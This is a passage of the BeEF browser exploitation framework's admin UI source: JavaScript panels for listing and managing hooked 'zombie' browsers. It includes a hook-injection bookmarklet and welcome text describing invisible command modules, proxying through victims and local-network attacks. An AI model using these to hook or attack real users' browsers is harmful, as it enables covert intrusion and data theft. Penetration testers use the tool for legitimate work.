    "content": "/*\n * Keyword search for command module panel. \n * Words in query are searched as separated queries. You can search for exact matching using double qoutes arround query\n */\n\nfunction search_module(module_tree, query_string) {\n  if ( query_string.search(/\\w/) == -1 )\n    return tree_array;\n\n\t// copy module tree w/o ExtJS service properties\n\tvar tree_array = new Array();\n  for ( var i = 0; i < module_tree.length; i++ ) \n    tree_array.push(module_tree[i].attributes);\n\n\tvar json_object = jQuery.extend(true, [], tree_array);\n\n\t// split query string into separate words and exact phrases\n  query_string = query_string.replace(/\"\\s*\"/g, \" \").replace(/\\s+/g, \" \").match(/\"[^\"]+\"|\\S+/g);\n  query_string.forEach(prepare_query_string);\n  \n\tvar result = json_object.filter(form_new_modules_tree);\n  result.forEach(recount_modules_and_expand_directories);\n \n\treturn result;\n  \n\t// remove quotes from phrases for exact match\n  function prepare_query_string(string, index, array){\n    array[index] = string.toLowerCase().replace(/\"/g, \"\");\n  }\n  \n\t// True if this.toString() contains str\n  function check_module_name(str) {\n    return Boolean(this.toString().toLowerCase().replace(/\\s\\([0-9]+\\)/g,\"\").indexOf(str) + 1);\n  }\n  \n  // func for JSON filter\n\t// Build a new tree from modules which are appropriate for any part of query\n  function form_new_modules_tree(element) {\n    if ( query_string.some(check_module_name, element.text) )\n      return true;\n    if ( element.children ) {  \n      element.children = element.children.filter(form_new_modules_tree);\n      return Boolean(element.children.length);\n    }\n    return false;\n  }\n  \n  function recount_modules_and_expand_directories(element) {\n    if ( element.children ) {\n      element.expanded = true;\n      var modules_in_directory = element.children.length;\n\t\t\t// visit all\n      for ( var i = 0; i < element.children.length; i++ )\n        if ( element.children )\n          modules_in_directory += recount_modules_and_expand_directories(element.children[i]);\n\t\t\t// expand them\n      element.children.forEach(recount_modules_and_expand_directories);\n\t\t\t// and set new number of modules in directory\n      element.text = element.text.replace(/([-_ 0-9a-zA-Z]+)\\(([0-9]+)\\)/, \"$1(\" + modules_in_directory + \")\")\n      return modules_in_directory - 1;\n    }\n    return 0;\n  }\n}\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The Beef_StatusBar class provides the functionality of the status bar \n * at the bottom of each tab in the UI\n *\n * @param: {String} unique string for setting the status bar id.\n *\n */\n\nBeef_StatusBar = function(unique_id) {\n\n\tvar update_fail_wait = 2000; // delay before showing ready status\n\tvar update_sent_wait = 1000; // delay before showing ready status\n\t\n\tBeef_StatusBar.superclass.constructor.call(this, {\n        id: 'commands-bbar-zombie-' + unique_id,\n\n        // defaults to use when the status is cleared:\n        defaultText: 'Ready',\n        defaultIconCls: 'x-status-valid',\n    \n        // values to set initially:\n        text: 'Ready',\n        iconCls: 'x-status-valid',\n\n\t\t// update status bar to ready\t\t\n\t\tupdate_ready: function(str) {\n\t\t\tvar display_str = str || \"Ready\";\n\t\t\tthis.setStatus({\n\t\t\t\ttext: display_str,\n\t\t\t\ticonCls: 'x-status-valid'\n\t\t\t});\n\t\t},\n\n\t\t// update status bar to fail \n\t\tupdate_fail: function(str){\n\t\t\tvar display_str = str || \"Error!\";\n\t\t\t\n\t\t\tthis.setStatus({\n\t\t\t\ttext: display_str,\n\t\t\t\ticonCls: 'x-status-error',\n\t\t\t\tclear: {\n\t\t\t\t    wait: update_fail_wait,\n\t\t\t\t    anim: true,\n\t\t\t\t    useDefaults: true\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\n\t\t// update status bar to sending \n\t\tupdate_sending: function(str) {\n\t\t\tvar display_str = str || \"Sending...\";\n\t\t\tthis.showBusy(display_str);\n\t\t},\n\n\t\t// update status bar to sent\t\t\n\t\tupdate_sent: function(str) {\n\t\t\tvar display_str = str || \"Sent\";\n\t\t\tthis.setStatus({\n\t\t\t\ttext: display_str,\n\t\t\t\ticonCls: 'x-status-valid',\n\t\t\t\tclear: {\n\t\t\t\t    wait: update_sent_wait,\n\t\t\t\t    anim: true,\n\t\t\t\t    useDefaults: true\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n    });\n\n};\n\nExt.extend(Beef_StatusBar, Ext.ux.StatusBar, {} );\n\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nPanelViewer = {};\nvar mainPanel, zombiesTreeLists, zombieTabs, zombiesManager;\n\nExt.onReady(function() {\n\t\n\tExt.QuickTips.init();\n\n\tzombiesTreeLists = {\n\t\t'basic' : new zombiesTreeList('basic'),\n\t\t'requester' : new zombiesTreeList('requester')\n\t};\n\t\n\tzombieTabs = new ZombieTabs(zombiesTreeLists);\n\tzombiesManager = new ZombiesMgr(zombiesTreeLists);\n\tmainPanel = new MainPanel();\n\t\n\tvar viewport = new Ext.Viewport({\n        layout:'border',\n        items:[\n            new Ext.BoxComponent({\n                region:'north',\n                el: 'header',\n                height: 32\n            }),\n\t\t\tzombieTabs,\n\t\t\tmainPanel\n         ]\n    });\n  setTimeout(\"locationHashChanged()\", 1000);\n\t\n\tnew DoLogout();\n});\n\n/*\n * Panel Events Updater\n *\n * This event updater retrieves zombie updates every periodically.\n * The poll timer is specified in befe.extension.admin_ui.panel_update_interval\n * These updates are then pushed to various managers (i.e. the zombie manager).\n */\nvar lastpoll = new Date().getTime();\n\nExt.TaskMgr.start({\n\trun: function() {\n\t\tExt.Ajax.request({\n\t\t\turl: '/api/hooks/?token=' + beefwui.get_rest_token(),\n\t\t\tmethod: 'GET',\n\t\t\tsuccess: function(response) {\n\t\t\t\tvar updates;\n\t\t\t\ttry {\n\t\t\t\t\tupdates = Ext.util.JSON.decode(response.responseText);\n\t\t\t\t} catch (e) {\n\t\t\t\t\t//The framework has probably been reset and you're actually logged out\n\t\t\t\t\tvar hr = document.getElementById(\"header-right\");\n\t\t\t\t\thr.innerHTML = \"You appear to be logged out. <a href='<%= @base_path %>/panel/'>Login</a>\";\n\t\t\t\t}\n\t\t\t\tvar hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null;\n\t\t\t\t\n\t\t\t\tif(zombiesManager && hooked_browsers) {\n\t\t\t\t\tzombiesManager.updateZombies(hooked_browsers);\n\t\t\t\t}\n\t\t\t\tlastpoll = new Date().getTime();\n\t\t\t\tvar hr = document.getElementById(\"header-right\");\n\t\t\t\thr.innerHTML = \"\";\n\t\t\t},\n\t\t\tfailure: function(response) {\n\t\t\t\tvar timenow = new Date().getTime();\n\n\t\t\t\tif ((timenow - lastpoll) > 60000) {\n\t\t\t\t\tvar hr = document.getElementById(\"header-right\");\n\t\t\t\t\thr.innerHTML = \"Framework is down\";\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t},\n\t\n\tinterval: <%= (BeEF::Core::Configuration.instance.get(\"beef.extension.admin_ui.panel_update_interval\") || 10).to_i * 1_000 %>\n});\n\n/*\n * Allow selecting a browser with #id=<session> in the /ui/panel URL\n*/\nfunction locationHashChanged() {\n  var id = location_hash('id');\n\n  if (id === null) return;\n\n  var zombie = Object.values(beefwui.hooked_browsers).find(hb => hb.session === id);\n\n  id = id.replace(/[^a-z0-9]/gi, '');\n  console.log(\"Loading hooked browser with ID: \" + id);\n  mainPanel.remove(mainPanel.getComponent('current-browser'));\n  if(!mainPanel.getComponent('current-browser')) {\n    mainPanel.add(new ZombieTab(zombie));\n  }\n\n  mainPanel.activate(mainPanel.getComponent('current-browser'));\n  //removeHash();\n}\n\nfunction location_hash(key) {\n  var matches = location.hash.match(new RegExp(key+'=([^&]*)'));\n  return matches ? matches[1] : null;\n}\n\nfunction removeHash () {\n  history.pushState(\"\", document.title, window.location.pathname + window.location.search);\n}\n\nwindow.onhashchange = locationHashChanged;\n\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nWelcomeTab = function() {\n\n  <%\n    hook_url = BeEF::Core::Configuration.instance.hook_url\n  %>\n\n    var bookmarklet = \"javascript:%20(function%20()%20{%20var%20url%20=%20%27<%= hook_url %>%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();\"\n\n    welcome = \" \\\n              <div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' > \\\n              <p><img src='<%= @base_path %>/media/images/beef.jpg' alt='BeEF - The Browser Exploitation Framework' /></p><br /> \\\n              <p>Official website: <a href='https://beefproject.com/'>https://beefproject.com/</a></p><br />\\\n              <p><span style='font:bold 13px tahoma,arial,helvetica,sans-serif'>Getting Started</span></p><br />\\\n              <p>Welcome to BeEF!</p><br /> \\\n              <p>Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page <a href='/demos/basic.html' target='_blank'>here</a>, or the advanced version <a href='/demos/butcher/index.html' target='_blank'>here</a>.</p><br /> \\\n              <p>If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's bookmark bar, then simply click the shortcut on another page: <a href='__BOOKMARKLETURL__'>Hook Me!</a></p><br /> \\\n              <p>After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework.</p><br /> \\\n              <p><span style='font:bold 13px tahoma,arial,helvetica,sans-serif'>Hooked Browsers</span></p><br />\\\n              <p>To interact with a hooked browser simply left-click it, a new tab will appear. \\\n              Each hooked browser tab has a number of sub-tabs, described below:</p><br /> \\\n              <ul style=\\\"margin-left:15px;\\\"><li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Details:</span> Display information about the hooked browser after you've run some command modules.</li> \\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Logs:</span> Displays recent log entries related to this particular hooked browser.</li> \\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Commands:</span> This tab is where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides. \\\n              Most command modules consist of Javascript code that is executed against the selected\\\n              Hooked Browser. Command modules are able to perform any actions that can be achieved\\\n              through Javascript: for example they may gather information about the Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities within the local network of the Hooked Browser.<br /><br />\\\n              Each command module has a traffic light icon, which is used to indicate the following:<ul>\\\n              <li><img alt='' src='media/images/icons/green.png'  unselectable='on'> The command module works against the target and should be invisible to the user</li>\\\n              <li><img alt='' src='media/images/icons/orange.png'  unselectable='on'> The command module works against the target, but may be visible to the user</li>\\\n              <li><img alt='' src='media/images/icons/grey.png'  unselectable='on'> The command module is yet to be verified against this target</li>\\\n              <li><img alt='' src='media/images/icons/red.png'  unselectable='on'> The command module does not work against this target</li></ul><br />\\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>XssRays:</span> The XssRays tab allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS.</li> \\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Proxy:</span> The Proxy tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser. \\\n              Each request sent by the Proxy is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response.</li> \\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Network:</span> The Network tab allows you to interact with hosts on the local network(s) of the hooked browser.</li> \\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>WebRTC:</span> Send commands to the victims systems via a zombie specified as the primary WebRTC caller.</li> \\\n              </ul><br /> \\\n              <p>You can also right-click a hooked browser to open a context-menu with additional functionality:</p><br /> \\\n              <ul style=\\\"margin-left:15px;\\\">\\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Tunneling Proxy:</span> The Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \\\"Use as Proxy\\\". \\\n              The proxy runs on localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel in the Proxy tab. Click a history item to view the HTTP response headers and response body.</li> \\\n              <li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>XssRays:</span> XssRays allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS. To customize default settings of an XssRays scan, please use the XssRays tab.</li></ul><br /> \\\n              <p><span style='font:bold 13px tahoma,arial,helvetica,sans-serif'>Learn More</span></p><br />\\\n              <p>To learn more about how BeEF works please review the wiki:</p><br />\\\n              <ul style=\\\"margin-left:15px;\\\">\\\n              <li>Architecture of the BeEF System: <a href='https://github.com/beefproject/beef/wiki/Architecture'>https://github.com/beefproject/beef/wiki/Architecture</a></li>\\\n              <li>Tunneling Proxy: <a href='https://github.com/beefproject/beef/wiki/Tunneling-Proxy'>https://github.com/beefproject/beef/wiki/Tunneling-Proxy</a></li>\\\n              <li>XssRays Integration: <a href='https://github.com/beefproject/beef/wiki/XssRays-Integration'>https://github.com/beefproject/beef/wiki/XssRays-Integration</a></li>\\\n              <li>Network Discovery: <a href='https://github.com/beefproject/beef/wiki/Network-Discovery'>https://github.com/beefproject/beef/wiki/Network-Discovery</a></li>\\\n              <li>Writing your own modules: <a href='https://github.com/beefproject/beef/wiki/Command-Module-API'>https://github.com/beefproject/beef/wiki/Command-Module-API</a></li>\\\n              </ul>\\\n              <br/>\\\n              </div>\\\n              \";\n\n  welcome = welcome.replace(/__BOOKMARKLETURL__/,bookmarklet);\n\n  WelcomeTab.superclass.constructor.call(this, {\n\tregion:'center',\n\tpadding:'10 10 10 10',\n\thtml: welcome,\n\tautoScroll: true,\n\tborder: false\n    });\n};\n\nExt.extend(WelcomeTab,Ext.Panel, {}); \n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nZombieDataGrid = function(url, page, base) {\n  this.page = page;\n  this.url = url;\n  this.base = typeof(base) != 'undefined' ? base : {};\n\n  // RESTful API token\n  var token = BeefWUI.get_rest_token();\n\n  this.store = new Ext.ux.data.PagingJsonStore({\n    root: 'zombies',\n    autoDestroy: true,\n    autoLoad: true,\n    proxy: new Ext.data.HttpProxy({\n      method: 'GET',\n      url: url + '?token=' + token\n    }),\n    storeId: 'zombies-store',\n    baseParams: this.base,\n    idProperty: 'id',\n    fields: ['id','session', 'ip','domain','port','name','version', 'os', 'os_version', 'firstseen', 'lastseen'],\n    totalProperty: 'count',\n    remoteSort: false,\n    sortInfo: {field: \"id\", direction: \"ASC\"}\n  });\n\n  this.bbar = new Ext.PagingToolbar({\n    pageSize: this.page,\n    store: this.store,\n    displayInfo: true,\n    displayMsg: 'Displaying zombies {0} - {1} of {2}',\n    emptyMsg: 'No zombies to display'\n  });\n\n  this.columns = [{\n\t\tid: 'zombie-id',\n\t\theader: 'ID',\n\t\thidden: false,\n\t\tdataIndex: 'id',\n\t\tsortable: true,\n\t\twidth: 10\n  }, {\n\t\tid: 'zombie-session',\n\t\theader: \"Session\",\n\t\tdataIndex: 'session',\n\t\tsortable: true,\n    hidden: true,\n\t\twidth: 20,\n\t\trenderer: function(value) {\n\t\t  return $jEncoder.encoder.encodeForHTML(value);\n\t\t}\n  }, {\n\t\tid: 'zombie-ip',\n\t\theader: \"IP\",\n\t\tdataIndex: 'ip',\n\t\tsortable: true,\n\t\twidth: 20,\n\t\trenderer: function(value) {\n\t\t  return $jEncoder.encoder.encodeForHTML(value);\n\t\t}\n  }, {\n\t\tid: 'zombie-domain',\n\t\theader: \"Domain\",\n\t\tdataIndex: 'domain',\n\t\tsortable: true,\n\t\twidth: 20,\n\t\trenderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(value);\n    }\n  }, {\n\t\tid: 'zombie-port',\n\t\theader: \"Port\",\n\t\tdataIndex: 'port',\n\t\tsortable: true,\n\t\twidth: 20,\n\t\trenderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(value);\n    },\n  }, {\n\t\tid: 'zombie-browser_name',\n\t\theader: \"Browser\",\n\t\tdataIndex: 'name',\n\t\tsortable: true,\n\t\twidth: 20,\n\t\trenderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(value);\n    }\n\t}, {\n\t\tid: 'zombie-browser_version',\n\t\theader: \"Browser Version\",\n\t\tdataIndex: 'version',\n\t\tsortable: true,\n\t\twidth: 20,\n\t\trenderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(value);\n    }\n  }, {\n    id: 'zombie-os',\n    header: \"OS\",\n    dataIndex: 'os',\n    sortable: true,\n    width: 20,\n    renderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(value);\n    }\n  }, {\n    id: 'zombie-os_version',\n    header: \"OS Version\",\n    dataIndex: 'os_version',\n    sortable: true,\n    width: 20,\n    renderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(value);\n    }\n  }, {\n    id: 'zombie-first_seen',\n    header: \"First Seen\",\n    dataIndex: 'firstseen',\n    sortable: true,\n    width: 25,\n    renderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(new Date(1000*value).toUTCString());\n    }\n  }, {\n    id: 'zombie-last_seen',\n    header: \"Last Seen\",\n    dataIndex: 'lastseen',\n    sortable: true,\n    width: 25,\n    renderer: function(value){\n      return $jEncoder.encoder.encodeForHTML(new Date(1000*value).toUTCString());\n    }\n  },\n\n  ];\n\n  ZombieDataGrid.superclass.constructor.call(this, {\n    region: 'center',\n    id: 'topic-grid',\n    loadMask: {msg:'Loading Feed...'},\n\n    sm: new Ext.grid.RowSelectionModel({\n      singleSelect: true\n    }),\n\n    viewConfig: {\n      forceFit: true\n    },\n    listeners: {\n      afterrender: function(datagrid) {\n        datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:\"id\", dir:\"ASC\"}});\n      },\n\n      rowclick: function(grid, rowIndex) {\n        var r = grid.getStore().getAt(rowIndex).data;\n      },\n      containercontextmenu: function(view, e) {\n        e.preventDefault();\n      },\n      rowcontextmenu: function(grid, rowIndex, e) {\n        e.preventDefault();\n        grid.getSelectionModel().selectRow(rowIndex);\n\n        if (!!grid.rowCtxMenu) {\n          grid.rowCtxMenu.destroy();\n        }\n        //var record = grid.selModel.getSelected();\n        grid.rowCtxMenu = new Ext.menu.Menu({\n          //add a context menu that will contain common action shortcuts for HBs\n          items: <%=\n  context_menu = []\n  sep = { xtype: 'menuseparator' }\n\n  if (BeEF::Core::Configuration.instance.get(\"beef.extension.proxy.enable\"))\n    context_menu << {\n      id: 'zombie_grid_use_as_proxy',\n      text: 'Use as Proxy',\n      iconCls: 'zombie-tree-ctxMenu-proxy'\n    }\n    context_menu << sep\n  end\n  if (BeEF::Core::Configuration.instance.get(\"beef.extension.xssrays.enable\"))\n    context_menu << {\n      id: 'zombie_grid_xssrays_hooked_origin',\n      text: 'Launch XssRays on Hooked Domain',\n      iconCls: 'zombie-tree-ctxMenu-xssrays'\n    }\n    context_menu << sep\n  end\n  if (BeEF::Core::Configuration.instance.get(\"beef.extension.webrtc.enable\"))\n    context_menu << {\n      id: 'zombie_grid_rtc_caller',\n      text: 'Set as WebRTC Caller',\n      iconCls: 'zombie-tree-ctxMenu-rtc'\n    }\n    context_menu << {\n      id: 'zombie_grid_rtc_receiver',\n      text: 'Set as WebRTC Receiver and GO',\n      iconCls: 'zombie-tree-ctxMenu-rtc',\n      activated: false\n    }\n    context_menu << sep\n  end\n\n  context_menu << {\n    id: 'zombie_grid_delete_zombie',\n    text: 'Delete Zombie',\n    iconCls: 'zombie-tree-ctxMenu-delete'\n  }\n\n  context_menu.to_json\n%>,\n\n          listeners: {\n            itemclick: function(item, object) {\n              var record = grid.selModel.getSelected();\n              var hb_id = record.get('session');\n              switch (item.id) {\n              case 'zombie_grid_use_as_proxy':\n                Ext.Ajax.request({\n                  url: '/api/proxy/setTargetZombie?token=' + beefwui.get_rest_token(),\n                  method: 'POST',\n                  headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                  jsonData: {'hb_id': escape(hb_id)}\n                });\n                break;\n              case 'zombie_grid_xssrays_hooked_origin':\n                Ext.Ajax.request({\n                  url: '/api/xssrays/scan/' + escape(hb_id) + '?token=' + beefwui.get_rest_token(),\n                  method: 'POST'\n                });\n                break;\n              case 'zombie_grid_rtc_caller':\n                beefwui.rtc_caller = hb_id;\n                break;\n              case 'zombie_grid_rtc_receiver':\n                beefwui.rtc_receiver = hb_id;\n                var url = \"/api/webrtc/go?token=\" + beefwui.get_rest_token();\n                Ext.Ajax.request({\n                  url: url,\n                  method: 'POST',\n                  headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                  jsonData: {\n                    'from': beefwui.get_hb_id(beefwui.rtc_caller),\n                    'to': beefwui.get_hb_id(beefwui.rtc_receiver),\n                    'verbose': true\n                  }\n                });\n                break;\n              case 'zombie_grid_delete_zombie':\n                var token = beefwui.get_rest_token();\n                if (!confirm('Are you sure you want to delete zombie [id: ' + hb_id + '] ?\\nWarning: this will remove all zombie related data, including logs and command results!')) {\n                  //commands_statusbar.update_fail('Cancelled');\n                  return;\n                }\n                //commands_statusbar.update_sending('Removing zombie [id: ' + hb_id + '] ...');\n                var url = \"/api/hooks/\" + escape(hb_id) + \"/delete?token=\" + token;\n                Ext.Ajax.request({\n                  url: url,\n                  method: 'GET'\n                });\n                break;\n\n              }\n            }\n          }\n        });\n        grid.rowCtxMenu.showAt(e.getXY());\n      }\n      }\n  })  // ZombieDataGrid.superclass\n}\n\nExt.extend(ZombieDataGrid, Ext.grid.GridPanel, {});\n\nExt.override(Ext.PagingToolbar, {\n\tdoRefresh: function() {\n\t\tdelete this.store.lastParams;\n\t\tthis.doLoad(this.cursor);\n\t}\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nZombieTab = function(zombie) {\n\tmain_tab = new ZombieTab_DetailsTab(zombie);\n\tlog_tab = new ZombieTab_LogTab(zombie);\n\tcommands_tab = new ZombieTab_Commands(zombie);\n\tproxy_tab = new ZombieTab_Requester(zombie);\n\txssrays_tab =  new ZombieTab_XssRaysTab(zombie);\n\tnetwork_tab = new ZombieTab_Network(zombie);\n\twebrtc_tab = new ZombieTab_Rtc(zombie);\n\n\tZombieTab.superclass.constructor.call(this, {\n\t\tid:\"current-browser\",\n\t\tactiveTab: 0,\n\t\tloadMask: {msg:'Loading browser...'},\n\t\ttitle: \"Current Browser\",\n\t\tautoScroll: true,\n\t\tclosable: false,\n\t\tviewConfig: {\n\t\t\tforceFit: true,\n\t\t\ttype: 'fit'\n\t\t},\n    items:[\n      main_tab,\n      log_tab,\n      commands_tab,\n      proxy_tab,\n      xssrays_tab,\n      network_tab,\n      webrtc_tab\n    ],\n\t\tlisteners:{\n\t\t\tafterrender:function(component){\n        // Hide tabs for disabled functionality\n        <%= BeEF::Core::Configuration.instance.get(\"beef.extension.webrtc.enable\") ? '' : 'component.hideTabStripItem(webrtc_tab);' %>\n        <%= BeEF::Core::Configuration.instance.get(\"beef.extension.xssrays.enable\") ? '' : 'component.hideTabStripItem(xssrays_tab);' %>\n        <%= BeEF::Core::Configuration.instance.get(\"beef.extension.network.enable\") ? '' : 'component.hideTabStripItem(network_tab);' %>\n\t\t\t}\n\t\t}\n\t});\n};\n\nExt.extend(ZombieTab, Ext.TabPanel, {\n\tlisteners: {\n        activate: function(panel) {},\n        deactivate: function(panel) {},\n\t\tclose: function(panel) {}\n\t}\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nZombieTabs = function(zombie_tree_list) {\n\t\n\t//a variable to store the list of trees.\n\tthis.tree_items = new Array;\n\t\n\t//we store the list of trees in a correct array format for ExtJs\n\tfor(tree_name in zombie_tree_list) {\n\t\tvar tree = zombie_tree_list[tree_name];\n\t\t\n\t\t//set the tree as distributed if it's not the basic tree\n\t\tif(tree_name != \"basic\") {\n\t\t\ttree.tree_configuration[\"distributed\"] = true;\n\t\t}\n\t\t\n\t\tthis.tree_items.push(tree);\n\t}\n\t\n\t/*\n\t * Update each tree with a new configuration and regenerates them.\n\t * @param: {Literal Object} updated configuration for the trees\n\t */\n\tfunction update_trees_configuration(configuration) {\n\t\tvar tree_panel = Ext.getCmp(\"zombie-tree-tabs-panel\");\n\t\tvar trees = tree_panel.items;\n\t\t\n\t\tExt.each(trees.items, function(tree) {\n\t\t\ttree.updateConfiguration(configuration);\n\t\t\ttree.reload();\n\t\t});\n\t};\n\n/* the \"sort by\" functionality is not used yet\n\n\t//the bottom bar for that panel\n\tthis.bottom_bar = new Ext.Toolbar({\n\t\titems: [\n\t\t\t{\n\t\t\t\txtype: 'tbtext',\n\t\t\t\ttext: 'Sort by:'\n\t\t\t},\n\t\t\t{\n\t\t\t\t//list the hooked browsers by domain\n\t\t\t\ttext: 'domain',\n\t\t\t\tlisteners: {\n\t\t\t\t\tclick: function(b) {\n\t\t\t\t\t\tupdate_trees_configuration({'sub-branch' : 'domain'});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\t'-',\n\t\t\t{\n\t\t\t\t//list the hooked browsers by external ip\n\t\t\t\ttext: 'external ip',\n\t\t\t\tlisteners: {\n\t\t\t\t\tclick: function() {\n\t\t\t\t\t\talert('under construction');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t]\n\t});\n*/\n\tMainPanel.superclass.constructor.call(this, {\n        id: 'zombie-tree-tabs-panel',\n\t\ttitle: 'Hooked Browsers',\n\t\theaderAsText: true,\n\t\ttabPosition: 'bottom',\n\t\tregion:'west',\n\t\tactiveTab: 0,\n\t\tmargins:'0 5 5 5',\n       \twidth: 225,\n        minSize: 175,\n        maxSize: 400,\n\t\tdeferredRender: false,\n\t\titems: this.tree_items\n//\t\tbbar: this.bottom_bar\n    });\n};\n\nExt.extend(ZombieTabs, Ext.TabPanel);\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nvar ZombiesMgr = function(zombies_tree_lists) {\n\n\t//save the list of trees in the object\n\tthis.zombies_tree_lists = zombies_tree_lists;\n\n\t// this is a helper class to create a zombie object from a JSON hash index\n\tthis.zombieFactory = function(index, zombie_array){\n\n\t\tvar ip                 = zombie_array[index][\"ip\"];\n\t\tvar session            = zombie_array[index][\"session\"];\n\t\tvar browser_name       = zombie_array[index][\"name\"];\n\t\tvar browser_version    = zombie_array[index][\"version\"];\n\t\tvar os_name            = zombie_array[index][\"os\"];\n\t\tvar os_version         = zombie_array[index][\"os_version\"];\n\t\tvar hardware           = zombie_array[index][\"hardware\"];\n\t\tvar domain             = zombie_array[index][\"domain\"];\n\t\tvar port               = zombie_array[index][\"port\"];\n\t\tvar city               = zombie_array[index][\"city\"];\n\t\tvar country            = zombie_array[index][\"country\"];\n\t\tvar country_code       = zombie_array[index][\"country_code\"];\n\t\tvar date_stamp         = zombie_array[index][\"date_stamp\"];\n\n\t\tvar new_zombie = {\n\t\t\t'id': index,\n\t\t\t'ip': ip,\n\t\t\t'session': session,\n\t\t\t'check': false,\n\t\t\t'domain': domain,\n\t\t\t'port': port,\n\t\t\t'browser_name': browser_name,\n\t\t\t'browser_version': browser_version,\n\t\t\t'os_name': os_name,\n\t\t\t'os_version': os_version,\n\t\t\t'hw_name': hardware,\n\t\t\t'city': city,\n\t\t\t'country': country,\n\t\t\t'country_code': country_code,\n\t\t\t'date': date_stamp\n\t\t};\n\n\t\treturn new_zombie;\n\t}\n\n\t/*\n\t * Update the hooked browser trees\n\t * @param: {Literal Object} an object containing the list of offline and online hooked browsers.\n\t */\n\tthis.updateZombies = function(hooked_browsers){\n\t\tvar offline_hooked_browsers = hooked_browsers[\"offline\"];\n\t\tvar online_hooked_browsers = hooked_browsers[\"online\"];\n\t\tvar new_zombie_list = new Array();\n\n\t\tfor(tree_type in this.zombies_tree_lists) {\n\t\t\thooked_browsers_tree = this.zombies_tree_lists[tree_type];\n\n\t\t\t//we compare and remove the hooked browsers from online and offline branches for each tree.\n\t\t\thooked_browsers_tree.compareAndRemove(hooked_browsers);\n\n\t\t\t//add an offline browser to the tree\n\t\t\tfor(var i in offline_hooked_browsers) {\n\t\t\t\tvar offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers);\n\t\t\t\thooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false));\n\t\t\t\tnew_zombie_list.push(offline_hooked_browser);\n\t\t\t}\n\n\t\t\t//add an online browser to the tree\n\t\t\tfor(var i in online_hooked_browsers) {\n\t\t\t\tvar online_hooked_browser = this.zombieFactory(i, 